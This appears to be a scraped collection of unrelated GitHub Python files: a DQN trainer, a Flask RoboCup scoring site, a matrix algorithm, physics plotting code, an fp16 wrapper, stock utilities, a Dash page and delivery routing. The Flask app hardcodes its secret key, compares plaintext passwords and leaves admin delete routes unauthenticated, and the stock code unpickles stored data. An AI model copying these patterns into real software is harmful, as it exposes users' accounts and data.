reward_minibatch, next_state_minibatch, done_minibatch = torch.stack(state_minibatch), torch.tensor(action_minibatch), torch.tensor(reward_minibatch), torch.stack(next_state_minibatch), torch.tensor(done_minibatch)\n\n # create mask for non-terminal states\n mask = ~done_minibatch\n non_terminal_next_states = next_state_minibatch[mask]\n\n # predictions and targets\n next_q_values = torch.zeros((config[\"minibatch_size\"], config[\"action_space_size\"]))\n next_q_values[mask] = net(non_terminal_next_states)\n targets = torch.add(reward_minibatch, config[\"discount\"] * torch.max(next_q_values, dim=1)[0])\n pred_q_vals = net(state_minibatch)\n predictions = pred_q_vals.gather(1, action_minibatch.unsqueeze(1)).squeeze(1)\n \n # optimise\n loss = net.loss_function(predictions, targets)\n optimiser.zero_grad()\n loss.backward()\n for param in net.parameters():\n param.grad.data.clamp_(-1, 1)\n optimiser.step()\n\n return loss\n\ndef train(render_screen=True):\n\n epsilon = config[\"initial_epsilon\"]\n loss, avg_q_value, avg_reward, episode_time = 0, 0, 0, 0\n\n for episode in range(config[\"num_episodes\"]):\n observation = env.reset()\n episode_q_values = []\n episode_reward = 0\n\n for t in range(config[\"max_episode_time\"]):\n\n if render_screen:\n env.render()\n\n state = torch.tensor(observation)\n action, q_value = epsilon_greedy(epsilon, state)\n observation, reward, done, _ = env.step(action)\n next_state = torch.tensor(observation)\n\n memory.store_transition(state, action, reward, next_state, done)\n episode_q_values.append(q_value)\n episode_reward += reward\n loss = optimise()\n \n if epsilon >= config[\"final_epsilon\"]:\n epsilon -= (config[\"initial_epsilon\"] - config[\"final_epsilon\"]) / config[\"epsilon_anneal_frames\"]\n\n if WANDB:\n wandb.log({\n \"loss\": loss,\n \"epsilon\": epsilon,\n \"avg_q_value\": avg_q_value,\n \"avg_reward\": avg_reward,\n \"episode_time\": episode_time\n })\n\n if done:\n print(\"Episode {} finished after {} timesteps\".format(episode+1, t+1))\n episode_time = t + 1\n break\n\n avg_q_value = np.mean(episode_q_values)\n avg_reward = episode_reward\n\n env.close()\n\nif __name__ == \"__main__\":\n\n # classic_control_environments = [\"MountainCar-v0\", \"CartPole-v1\", \"Acrobot-v1\"]\n\n game = \"Acrobot-v1\"\n\n # make environment\n env = gym.make(game)\n\n config = {\n \"learning_rate\": 3e-4,\n \"minibatch_size\": 64,\n \"memory_capacity\": 5_000, \n \"num_episodes\": 10_000,\n \"max_episode_time\": 10_000,\n \"discount\": 0.99,\n \"initial_epsilon\": 1,\n \"final_epsilon\": 0.1,\n \"epsilon_anneal_frames\": 100_000,\n \"l1_neurons\": 32, \n \"l2_neurons\": 64,\n \"l3_neurons\": 64,\n \"observation_space_size\": env.observation_space.shape[0],\n \"action_space_size\": env.action_space.n\n }\n\n # logging results\n WANDB = 1\n if WANDB:\n wandb.init(project=game)\n wandb.config = config\n\n memory = MemoryBuffer(config[\"memory_capacity\"])\n net = ffDQN(config[\"observation_space_size\"], config[\"action_space_size\"])\n optimiser = torch.optim.RAdam(net.parameters(), lr=config[\"learning_rate\"])\n \n\n train()","repo_name":"ansonwhho/DQN","sub_path":"algorithms/ffDQN.py","file_name":"ffDQN.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31449050347","text":"from flask import Flask, render_template, request, redirect, url_for, flash\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import UserMixin, LoginManager, login_user, login_required, logout_user, current_user\nimport sqlite3\n\napp = Flask(__name__)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n# ---------------------------------LOGIN SETUP------------------------------------------\n\ndb = SQLAlchemy(app)\n\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n# set the type and location of the DB\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///robocupjr.db'\n# make sure this key stays secret\napp.config['SECRET_KEY'] = 'key'\n\n\n# class name has to match the table name\n# class variables must match the column names of the table\n# one column must be called 'id'\nclass judges(UserMixin, db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String)\n password = db.Column(db.String)\n\n\n# should be set to refer to the class name as above\n@login_manager.user_loader\ndef load_user(id):\n return judges.query.get(id)\n\n\n@app.route('/')\n@app.route('/home')\ndef home_page():\n return render_template('home.html')\n\n\n@app.route('/criteria')\ndef criteria_page():\n return render_template('criteria.html')\n\n\n@app.route('/dancing')\ndef dancing_page():\n dance_results = dancing_table()\n print(dance_results)\n return render_template('dancing.html', product=dance_results)\n\n\ndef dancing_table():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM dancingscores\")\n return (c.fetchall())\n\n\n# --------TESTING INDIV DETAILS--------------------------------------------\n@app.route('/search//')\ndef search_id(id):\n name_first, name_last, team, category, year = details(id)\n return render_template('search.html', name_first=name_first, name_last=name_last,\n team=team, category=category, year=year)\n\n\n# ------ Placehodler for future searching function\n@app.route('/search', methods=['GET', 'POST'])\ndef search():\n if request.method == 'POST':\n id = request.form['ID']\n return redirect(url_for('search_id', id=id))\n else:\n return render_template('id_search.html')\n\n\ndef details(id):\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT name_first, name_last, team, category, year FROM teams123 WHERE ID = ?\", (id,))\n name_first, name_last, team, category, year = c.fetchone()\n return (name_first, name_last, team, category, year)\n\n\n# --------------- End Ranking Page---------------\n@app.route('/teams')\ndef teams_page():\n teams_results = teams_page_table()\n print(teams_results)\n return render_template('teams.html', output=teams_results)\n\n\ndef teams_page_table():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123\")\n return (c.fetchall())\n\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login_page():\n if request.method == 'GET':\n return render_template('Login.html')\n else:\n try:\n my_judge = judges.query.filter_by(username=request.form['username']).first()\n except:\n return redirect(url_for('login_page'))\n\n if my_judge is not None:\n if my_judge.password == request.form['password']:\n login_user(my_judge)\n return render_template('admin.html')\n else:\n flash('An error occured. Please check Username and Password ')\n return redirect(url_for('login_page'))\n else:\n flash('An error occured. Please check Username and Password ')\n return redirect(url_for('login_page'))\n\n\n@app.route('/logout')\n@login_required\ndef log_me_out():\n logout_user()\n return render_template('logout.html')\n\n\n@app.route('/register')\ndef register_page():\n return render_template('register.html')\n\n\n@app.route('/admin')\ndef admin_page():\n if current_user.is_authenticated:\n return render_template('admin.html')\n else:\n return render_template('login.html')\n\n\n#\n# @app.route('/admin/scoring/')\n# def scoring_page(scrid):\n# scr_list = scr_lister()\n# return render_template('score.html')\n@app.route('/admin/delete_success', methods=['GET', 'POST'])\ndef character_delete_success():\n if request.method == 'POST':\n id = request.form['id']\n team_delete(id)\n return render_template('character_delete_success.html')\n else:\n return render_template('admin.html')\n\n\n@app.route('/admin/delete/')\ndef admin_delete(id):\n char_list = char_lister()\n id, team, score = query_profile_full(id)\n return render_template('character_delete.html',\n id=id,\n team=team,\n score=score,\n char_list=char_list\n )\n# a functyion that lists all the id and team names currently existing in the dancingscores table\ndef char_lister():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT id, team FROM dancingscores ORDER BY id\")\n char_list = c.fetchall()\n return char_list\n\n\ndef query_profile_full(id):\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT id, team, score FROM dancingscores WHERE ID = ?\", (id,))\n id, team, score = c.fetchone()\n return (id, team, score)\n\n\ndef team_delete(id):\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"DELETE FROM dancingscores WHERE id =?\", (id,))\n\n\n@app.route('/register/team_add', methods=['GET', 'POST'])\ndef team_add():\n if request.method == 'POST':\n first_name = request.form['first_name']\n surname = request.form['surname']\n team_name = request.form['team_name']\n category = request.form['category']\n new_team_details = (first_name, surname, team_name, category)\n update_team_add(new_team_details)\n return redirect(url_for('register_page'))\n else:\n return render_template('register.html')\n\n\ndef update_team_add(new_team_details):\n sql_add_chr = \"\"\"INSERT INTO teams123 (name_first, name_last, team, category) \n VALUES (?,?,?,?)\"\"\"\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(sql_add_chr, new_team_details)\n connie.commit()\n\n\n# ---------------Ranking Page---------------\n@app.route('/rankings')\ndef rankings_page():\n rankings_results = rankings_table()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_table():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123\")\n return (c.fetchall())\n\n\n# -----------------------\n# -------2020 Ranking----------------------------\n@app.route('/rankings/2020')\ndef rankings2020():\n rankings_results = rankings_2020()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_2020():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123 WHERE year = 2020\")\n twenty_data = c.fetchall()\n return (twenty_data)\n\n\n# -----------------------------------------------\n# -------2019 Ranking----------------------------\n@app.route('/rankings/2019')\ndef rankings2019():\n rankings_results = rankings_2019()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_2019():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123 WHERE year = 2019\")\n nineteen_data = c.fetchall()\n return (nineteen_data)\n\n\n# -----------------------------------------------\n@app.route('/rankings/2018')\ndef rankings2018():\n rankings_results = rankings_2018()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_2018():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123 WHERE year = 2018\")\n eighteen_data = c.fetchall()\n return (eighteen_data)\n\n\n# -----------------------------------------------\n# -------2017 Ranking----------------------------\n@app.route('/rankings/2017')\ndef rankings2017():\n rankings_results = rankings_2017()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_2017():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123 WHERE year = 2017\")\n seventeen_data = c.fetchall()\n return (seventeen_data)\n\n\n# -----------------------------------------------\n# -------2016 Ranking----------------------------\n@app.route('/rankings/2016')\ndef rankings2016():\n rankings_results = rankings_2016()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_2016():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123 WHERE year = 2016\")\n sixteen_data = c.fetchall()\n return (sixteen_data)\n\n\n# -----------------------------------------------\n# -------2015 Ranking----------------------------\n@app.route('/rankings/2015')\ndef rankings2015():\n rankings_results = rankings_2015()\n return render_template('rankings.html', rank=rankings_results)\n\n\ndef rankings_2015():\n connie = sqlite3.connect('robocupjr.db')\n c = connie.cursor()\n c.execute(\"SELECT * FROM teams123 WHERE year = 2015\")\n fifteen_data = c.fetchall()\n return (fifteen_data)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"JerrySeinfeld02/carousel-01","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39826216144","text":"\nclass Solution:\n def kthSmallestElement(self, matrix, k):\n row_l = len(matrix)-1\n col_l = len(matrix[0])-1\n min_v = matrix[0][0]\n max_v = matrix[row_l][col_l]\n\n while min_v < max_v:\n mid = min_v + int((max_v-min_v)/2)\n if self.possible(matrix, k, mid) >= k:\n max_v = mid \n else:\n min_v = mid + 1\n\n return min_v \n\n def possible(self, matrix, k, mid):\n i = len(matrix)-1\n j = 0\n count = 0\n while i >= 0 and j < len(matrix[0]):\n if matrix[i][j] <= mid:\n count += i+1\n j += 1\n else:\n i -= 1\n\n return count ","repo_name":"KJSui/leetcode-2020","sub_path":"kthsmallestelementinsortedarray.py","file_name":"kthsmallestelementinsortedarray.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29975274747","text":"import os\nimport shutil\n\nfrom aidapy.hist import total_systematic_histogram\nfrom aidapy.hist import hist2array\n#from .style_mpl import atlas_mpl_style\n\nimport numpy as np\n\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib.ticker import AutoMinorLocator, MultipleLocator\nimport matplotlib as mpl\nimport matplotlib.gridspec as gsc\n#plt.style.use('classic')\nfrom pylab import setp\n#sty = atlas_mpl_style()\n#for key, val in sty.items():\n# mpl.rcParams[key] = val\nfrom matplotlib.font_manager import FontProperties\nfontBase = FontProperties()\nfontATLAS = fontBase.copy()\nfontATLAS.set_size(16)\nfontATLAS.set_style('italic')\nfontATLAS.set_weight('bold')\n\ndef canvas_with_ratio(figsize=(8,7),height_ratios=[3.65,1],\n xtitle='x title',ytitle='ytitle',ratio_title='Ratio'):\n fig = plt.figure(figsize=figsize)\n gs = gsc.GridSpec(2,1,height_ratios=height_ratios)\n gs.update(hspace=0.075)\n ax0 = fig.add_subplot(gs[0])\n ax1 = fig.add_subplot(gs[1],sharex=ax0)\n ax0.xaxis.set_minor_locator(AutoMinorLocator())\n ax0.yaxis.set_minor_locator(AutoMinorLocator())\n setp(ax0.get_xticklabels(),visible=False)\n ax0.set_ylabel(ytitle)\n ax1.set_ylabel(ratio_title)\n ax1.set_xlabel(xtitle)\n return fig, ax0, ax1\n\ndef hplot_mpl(root_file, hist_name='met_1pj', outdir='outs', xtitle='', ytitle='',logy=False,\n proc_names=['Wt','ttbar','Fakes','WW','Diboson','Ztautau','RareSM']):\n if os.path.exists(outdir):\n pass\n else:\n os.makedirs(outdir)\n nominals = { pname : root_file.Get(pname+'_FULL_main_nominal_'+hist_name) for pname in proc_names }\n nominals = { pname : hist2array(h,return_edges=True) for pname, h in nominals.items() }\n data = root_file.Get('Data_'+hist_name)\n data = hist2array(data)\n nom_h, total_band, edges, staterr = total_systematic_histogram(root_file,hist_name,proc_names,\n return_stat_error=True)\n centers = np.delete(edges,[0])-(np.ediff1d(edges)/2.0)\n\n to_stack = [nominals[name][0] for name in ['RareSM','Diboson','Fakes','WW','Wt','Ztautau','ttbar']]\n cols = ['darkred','black','gray','green','blue','orange','white']\n labels = [r'Rare SM',r'Diboson',r'Fake/NP (MC)',r'WW',r'Wt',r'$Z\\rightarrow\\tau\\tau$',r'$t\\bar{t}$']\n #to_stack = [nominals[name][0] for name in ['RareSM','Diboson','Fakes','WW','Ztautau','ttbar','Wt']]\n #cols = ['darkred','black','gray','green','orange','white','blue']\n #labels = [r'Rare SM',r'Diboson',r'Fake/NP (MC)',r'WW',r'$Z\\rightarrow\\tau\\tau$',r'$t\\bar{t}$',r'Wt']\n\n fig,ax,axerr = canvas_with_ratio()\n ax.errorbar(centers,data,yerr=np.sqrt(data),fmt='ko',label=r'Data')\n ax.hist([centers for _ in to_stack],weights=to_stack,bins=edges,stacked=True,\n color=cols,histtype='stepfilled',label=labels, ls='solid', lw=1, edgecolor='black')\n syspatches = []\n syspatches = [patches.Rectangle((c-w/2,v-err),w,err*2,hatch='\\\\\\\\\\\\\\\\',fill=False,edgecolor='none')\n for c, v, err, w in zip(centers,nom_h,total_band,np.ediff1d(edges))]\n for p in syspatches: ax.add_patch(p)\n trashpatch = patches.Rectangle((0,0),0,0,hatch='\\\\\\\\\\\\\\\\',fill=False,edgecolor='none',\n label=r'Systematics')\n ax.add_patch(trashpatch)\n ax.errorbar(centers,data,yerr=np.sqrt(data),fmt='ko')\n ax.legend(loc='upper right')\n l_handles, l_labels = ax.get_legend_handles_labels()\n l_handles = [l_handles[-1]] + l_handles[:-1]\n l_labels = [l_labels[-1]] + l_labels[:-1]\n ax.legend(l_handles,l_labels,loc='upper right',fontsize=12)\n ax.set_ylim([0,np.max(data)*1.3])\n ax.text(.05,.92,'ATLAS',transform=ax.transAxes,style='oblique',size=14,fontproperties=fontATLAS)\n ax.text(.185,.92,r'Internal, AIDA OS $e\\mu$, pre-fit',transform=ax.transAxes,size=14)\n ax.text(.05,.845,r'$\\sqrt{s}$ = 13 TeV, $\\int \\mathcal{L}$dt = 36.1 fb$^{-1}$',\n transform=ax.transAxes,size=14)\n ax.text(.05,.75,'',transform=ax.transAxes,size=14)\n domcErr = np.sqrt(1.0/(nom_h*nom_h)*data + data*data*staterr*staterr/(nom_h*nom_h*nom_h*nom_h))\n axerr.errorbar(centers,data/nom_h,yerr=domcErr,fmt='ko')#data/(nom_h*nom_h)*total_band\n errpatches = []\n errpatches = [patches.Rectangle((c-w/2,1-err),w,err*2,hatch='\\\\\\\\\\\\\\\\',fill=False,edgecolor='none')\n for c, v, err, w in zip(centers,data/nom_h,data/(nom_h*nom_h)*total_band,np.ediff1d(edges))]\n for p in errpatches: axerr.add_patch(p)\n axerr.set_ylim([0.5,1.5])\n axerr.set_xlim([edges[0],edges[-1]])\n axerr.plot(edges,np.array([1 for _ in edges]),'k-')\n log_axes = ['pT','_2bins','_3bins']\n if any(term in hist_name for term in log_axes):\n logy = True\n axerr.set_xlabel(xtitle,fontsize=14)\n if 'njets' in hist_name:\n axerr.xaxis.set_ticks(np.array([i for i in centers]))\n newxticklabels = [str(int(i)) for i in centers]\n newxticklabels[-1] = r'$\\geq '+str(int(centers[-1]))+'$'\n axerr.set_xticklabels(newxticklabels)\n ax.set_ylabel(ytitle,fontsize=14)\n if logy: ax.set_yscale('log'), ax.set_ylim([np.min(data)*.01,np.max(data)*500])\n fig.savefig(outdir+'/'+hist_name+'.pdf')\n fig.savefig(outdir+'/'+hist_name+'.png')\n #plt.show()\n","repo_name":"douglasdavis/aidapy","sub_path":"aidapy/plot/mpl.py","file_name":"mpl.py","file_ext":"py","file_size_in_byte":5322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72591284748","text":"from . import utils\n\nimport functools\n\nimport torch\n\ndef make_cast_wrapper(orig_fn, cast_fn, handle,\n try_caching=False):\n @functools.wraps(orig_fn)\n def wrapper(*args, **kwargs):\n if not handle.is_active():\n return orig_fn(*args, **kwargs)\n \n input_types = [\n v.data.type() for v in list(args) + list(kwargs.values())\n if utils.is_fp_tensor(v)\n ]\n #print('wrapper: orig_fn:{}, input_types:{}'.format(orig_fn, input_types))\n input_type = input_types[0]\n\n if try_caching and handle.has_cache:\n args = list(args)\n for i in range(len(args)):\n if utils.should_cache(args[i]):\n args[i] = utils.cached_cast(cast_fn, args[i], handle.cache)\n for k in kwargs:\n if utils.should_cache(kwargs[k]):\n kwargs[k] = utils.cached_cast(cast_fn, kwargs[k], handle.cache)\n new_args = utils.casted_args(cast_fn,\n args,\n kwargs)\n output = orig_fn(*new_args, **kwargs)\n \n #if output.type() != input_type:\n # print('ori output type: {}, input type: {}'.format(output.type(), input_type))\n # return output.type(input_type) \n #return output\n return cast_output(output, input_type, verbose=False)\n\n return wrapper\n\ndef cast_output(output, input_type, verbose=False):\n if isinstance(output, dict):\n keys = output.keys()\n for k in keys:\n output[k] = cast_output(output[k], input_type)\n return output\n \n if utils.is_fp_tensor(output) and output.type() != input_type:\n if verbose:\n print('ori output type: {}, input type: {}'.format(output.type(), input_type))\n return output.type(input_type)\n return output\n\ndef cached_cast(mod, fn, cast_fn, handle,\n try_caching=False, verbose=False):\n if not utils.has_func(mod, fn):\n return\n\n orig_fn = utils.get_func(mod, fn)\n cast_fn = utils.verbosify(cast_fn, fn, verbose)\n wrapper = make_cast_wrapper(orig_fn, cast_fn, handle, try_caching)\n utils.set_func_save(handle, mod, fn, wrapper)\n\n","repo_name":"OpenGVLab/HumanBench","sub_path":"PATH/core/fp16/wrap.py","file_name":"wrap.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"82"} +{"seq_id":"39924492521","text":"# coding: utf-8\nfrom database import Store\nimport logging\nimport os\nimport glob\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\n\nclass Stock(Store):\n\n def __init__(self, mode, ind, dirs=None):\n super(Stock, self).__init__(mode, ind, dirs)\n self.logger = logging.getLogger('STOCK')\n self.logger.info('Init Stock')\n\n def trans(self, strs):\n if strs is None:\n return None\n\n arr = strs.split(',')\n\n op = float(arr[0])\n hi = float(arr[1])\n lw = float(arr[2])\n cl = float(arr[3])\n\n return (op, hi, lw, cl)\n\n # transfer inst\n def inst2inst(self, inst):\n inst = str(inst)\n if len(inst) == 7:\n if inst[1] == '6':\n ninst = 'SH' + inst[1:]\n if inst[1] == '3' or inst[1] == '0':\n ninst = 'SZ' + inst[1:]\n self.logger.info('Inst:{} Ninst:{}'.format(inst, ninst))\n return ninst\n\n # 计算给定标的在两个day之间的收益\n # day1: select day --> buyday open\n # day2: close\n def calRet2Days(self, inst, day1, day2):\n ret = None\n\n inst = self.inst2inst(inst)\n\n AA = self.getIndTdays(inst)\n if AA is None:\n return ret\n\n # select day to buy day\n day1 = self.getDay(inst, day1, AA, 1)\n if day1 is None:\n return None\n\n bar1 = self.trans(self.get(inst + '|' + day1))\n bar2 = self.trans(self.get(inst + '|' + day2))\n\n if bar1 is None or bar2 is None:\n return None\n\n op = bar1[0]\n cl = bar2[3]\n\n ret = 100 * (cl - op) / op\n self.logger.info('Inst:{} OP:{} CL:{} D1:{} D2:{}'.format(\n inst, op, cl, day1, day2))\n\n ret = \"{:.4f}\".format(ret)\n return ret\n\n def getIndTdays(self, inst):\n ret = None\n val = self.get(inst + '|indtdays', direct = 1)\n if val is None:\n return ret\n ind_tdays = pickle.loads(val)\n\n val = self.get(inst + '|tdaysind', direct = 1)\n if val is None:\n return ret\n tdays_ind = pickle.loads(val)\n return (ind_tdays, tdays_ind)\n\n # Get day base on Step\n def getDay(self, inst, baseday, AA, step=1):\n ret = None\n ind_tdays = AA[0]\n tdays_ind = AA[1]\n\n if baseday not in tdays_ind:\n return ret\n baseind = tdays_ind[baseday]\n\n buyday = baseind + step\n if buyday not in ind_tdays:\n return ret\n buyday = ind_tdays[buyday]\n return buyday\n\n # 计算给定标的未来一段时间的收益\n def calRet(self, inst, baseday, ndays):\n ret = None\n\n AA = self.getIndTdays(inst)\n if AA is None:\n return ret\n\n selday = baseday\n\n # get buy Day\n buyday = self.getDay(inst, baseday, AA, 1)\n if buyday is None:\n return ret\n\n # get sell day\n sellday = self.getDay(inst, baseday, AA, ndays)\n if sellday is None:\n return ret\n\n nbar = self.trans(self.get(inst + '|' + buyday))\n xbar = self.trans(self.get(inst + '|' + sellday))\n\n nopen = nbar[0]\n xclose = xbar[3]\n ret = (xclose - nopen) / nopen\n self.logger.info('Inst:{} Sday:{} Op:{} Cl:{} Bday:{} Sday:{}'.format(\n inst, selday, nopen, xclose, buyday, sellday))\n return ret\n\n def load(self, path):\n files = glob.glob(path + \"/*.csv\")\n for f in files:\n arr = f.split('.')\n if len(arr) > 2:\n continue\n fname = arr[0][-8:]\n self.logger.info('load stock {}'.format(fname))\n ind_tdays = {}\n tdays_ind = {}\n cnt = -1\n for line in open(path + '/' + fname + '.csv'):\n arr = line.strip().split(',')\n\n # raw data\n key = fname + '|' + arr[0]\n val = ','.join(arr[1:])\n self.add(key, val)\n\n # keep index of trade days\n if cnt == -1:\n cnt = cnt + 1\n continue\n ind_tdays[cnt] = arr[0]\n tdays_ind[arr[0]] = cnt\n cnt = cnt + 1\n\n self.add(fname + '|indtdays', pickle.dumps(ind_tdays))\n self.add(fname + '|tdaysind', pickle.dumps(tdays_ind))\n#\n","repo_name":"runrunliuliu/stockview","sub_path":"webserver/database/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":4391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9040212473","text":"import dash\nfrom dash import dcc, html\n\ndash.register_page(__name__)\n\n\nclass UploadView:\n def __init__(self):\n self.layout = html.Div(\n\n # style={'display': 'flex', 'align-items': 'center', 'justify-content': 'center'},\n style={'display': 'flex', 'flex-direction': 'column', 'justify-content': 'center', 'align-items': 'center'},\n\n children=[\n\n html.Div(\n [\n # html.Button(\n # \"text\",\n # id='generate-picture'\n # ),\n dcc.Input(id='manager_prompt', type='text', placeholder='Enter text here ...'),\n\n html.Button(\"Create Image\", id=\"create\"),\n\n\n ],\n style={'display': 'flex', 'gap': '5px'}\n ),\n\n html.Br(),\n\n dcc.Upload(\n id='upload-image',\n children=html.Button('Upload Image'),\n # style={'display': 'flex', 'align-items': 'center', 'justify-content': 'center'},\n ),\n\n dcc.Loading(\n html.Div(\n id='output-image',\n style={'display': 'flex', 'align-items': 'center', 'justify-content': 'center',\n 'height': '65vh',\n 'max-height': '65vh'}\n ),\n ),\n\n dcc.Link(html.Button(\"Start Game\", id=\"start-game\", disabled=True), href=\"/final\", )\n ]\n )\n\n\nlayout = UploadView().layout\n","repo_name":"wzeyal/BrokenPhone","sub_path":"pages/upload.py","file_name":"upload.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9022106168","text":"import distances\nimport extractor\nimport schema\n\ntotalDistance = [0, 0, 0]\ntruckIdx = [0, 0, 0, 0, 0, 0]\n\n# Loops through an enumerated trucklist O(n) \nfor index, value in enumerate(extractor.getTruckList()):\n extractor.getTruckList()[index][9] = ['8:00:00'][0]\n schema.kellie.append(extractor.getTruckList()[index])\n\n# Loops through twice at O(n^2) for set truck delivery\nfor index, outer in enumerate(schema.kellie):\n for inner in distances.getAddress():\n if (outer[2] == inner[2]):\n schema.kellieDist.append(outer[0])\n schema.kellie[index][1] = inner[0]\n\n# Call greedy algorithm to sort packages for first truck O(n^2)\ndistances.routeLocater(schema.kellie, 1, 0)\n\ntruckIdx[0] = distances.getFirstIndexList(1)\ntruckIdx[1] = distances.getFirstIndexList(0)\n# Big O(n) for loop through truck load [array]\n\nfor index in range(len(truckIdx[0])):\n try:\n totalDistance[0] = distances.getDistance(int(truckIdx[0][index]), int(truckIdx[0][index + 1]), totalDistance[0])\n\n packsOut = distances.getTime(distances.getCurrent(int(truckIdx[0][index]), int(truckIdx[0][index + 1])), ['8:00:00'])\n truckIdx[1][index][10] = (str(packsOut))\n extractor.getHashTable().adjuster(int(truckIdx[1][index][0]), schema.kellie)\n except IndexError:\n pass\n\n# Second truck \n\n# Loops through an enumerated trucklist O(n) \nfor index, value in enumerate(extractor.assignPacks()):\n extractor.assignPacks()[index][9] = ['9:10:00'][0]\n schema.wilson.append(extractor.assignPacks()[index])\n\n# Loops through twice at O(n^2) for set truck delivery\nfor index, outer in enumerate(schema.wilson):\n for inner in distances.getAddress():\n if (outer[2] == inner[2]):\n schema.wilsonDist.append(outer[0])\n schema.wilson[index][1] = inner[0]\n\n# Call greedy algorithm to sort packages for Second truck\ndistances.routeLocater(schema.wilson, 2, 0)\n\n# Big O(n) for loop through truck load [array]\ntruckIdx[2] = distances.getSecIndexList(1)\ntruckIdx[3] = distances.getSecIndexList(0)\n\nfor index in range(len(truckIdx[2])):\n try:\n totalDistance[1] = distances.getDistance( int(truckIdx[2][index]), int(truckIdx[2][index + 1]), totalDistance[1])\n\n packsOut = distances.getTime(\n distances.getCurrent(int(truckIdx[2][index]), int(truckIdx[2][index + 1])), ['9:10:00'])\n truckIdx[3][index][10] = (str(packsOut))\n extractor.getHashTable().adjuster(int(truckIdx[3][index][0]), schema.wilson)\n except IndexError:\n pass\n\n\n# Loops through an enumerated trucklist O(n) \nfor index, value in enumerate(extractor.getPacks()):\n extractor.getPacks()[index][9] = ['11:00:00'][0]\n schema.subyam.append(extractor.getPacks()[index])\n\n# Will run through enumerated list @ O(n^2) to compare delivery address to address list\nfor index, outer in enumerate(schema.subyam):\n for inner in distances.getAddress():\n if (outer[2] == inner[2]):\n schema.subyamDist.append(outer[0])\n schema.subyam[index][1] = inner[0]\n\n# Call greedy algorithm to sort packages for Third truck\ndistances.routeLocater(schema.subyam, 3, 0)\ntotal_distance_tr3 = 0\n\n# Big O(n) for loop through truck load [array]\ntruckIdx[4] = distances.getThirdIndexList(1)\ntruckIdx[5] = distances.getThirdIndexList(0)\nfor index in range(len(truckIdx[4])):\n try:\n totalDistance[2] = distances.getDistance(int(truckIdx[4][index]), int(truckIdx[4][index + 1]), totalDistance[2])\n\n packsOut = distances.getTime(distances.getCurrent(int(truckIdx[4][index]),int(truckIdx[4][index + 1])), ['11:00:00'])\n truckIdx[5][index][10] = (str(packsOut))\n extractor.getHashTable().adjuster(int(truckIdx[5][index][0]), schema.subyam)\n except IndexError:\n pass\n\n## ----------------------------------Displays Package Data------------------------------------ ##\n\ndef total_distance_all_tr():\n return totalDistance[0] + totalDistance[1] + totalDistance[2]\n\ndef total_recall():\n print(\"Truck 1: Total distance: %s\" %(round(totalDistance[0], 1)))\n print(\"Truck 2: Total distance: %s\" %(round(totalDistance[1], 1)))\n print(\"Truck 3: Total distance: %s\" %(round(totalDistance[2], 1)))\n print(\"Total distance by all trucks: %s\" %(round(total_distance_all_tr(), 1)))\n\n## ------------------------------------------------------------------------------------------- ##","repo_name":"gccornejo441/school_assignment_packages","sub_path":"packages.py","file_name":"packages.py","file_ext":"py","file_size_in_byte":4383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6707283157","text":"import csv\nimport copy\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nimport math\nfrom sklearn import preprocessing as prep\nimport sys\nimport numpy as np;\nfrom matplotlib import cm\nfrom numpy import linalg as la\nfrom scipy import optimize as opt\nsys.path.append('/home/sanjay/home_work/study/ml/lib')\nimport mlutils as mu\n\n#main body\n\ndata = 